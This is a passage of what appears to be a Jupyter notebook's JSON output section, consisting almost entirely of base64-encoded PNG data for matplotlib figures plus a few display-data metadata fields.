CtWLOe9\n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\nQmCC\n", "text/plain": [ "<matplotlib.figure.Figure at 0x1c21f52048>" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "image/png": "iVBORw0KGgoAAAANSUhEUgAABKYAAALKCAYAAAAI+Fn9AAAABHNCSVQICAgIfAhkiAAAAAlwSFlz\nAAALEgAACxIB0t1+/AAAIABJREFUeJzs3X98XHd95/u3dGT9tGVpZIFT24ksIQ57UUyILlCRdWIa\nSoILJaXcNnjvNiX2tReavdtLU5bedqHQe/eyt4HdNtkuUuVQeFxcuNsbAhjFcKGEmq4IIEiFKJwI\nKSKxgWJnpMiyZSs+o/1j5oxnRiNpfpyZ7zlnXs/Hw4+H59eZr+Y7M+c7n+/n+/nWra6uCgAAAAAA\nAKi2etMNAAAAAAAAQG0iMAUAAAAAAAAjCEwBAAAAAADACAJTAAAAAAAAMILAFAAAAAAAAIwgMAUA\nAAAAAAAjGkw3AAAAoNbZtr1F0nOS9juO8w+p645J+qikOxzH+VLqut+Q9HuO47zGtu05SW9zHOfb\nGcf5HyX9jeM4PbZtH5D0mCQndXODpPOS3uk4zg8yHrND0rOS/spxnHdW9A8FAADIQcYUAACAYY7j\nvCDpK5Je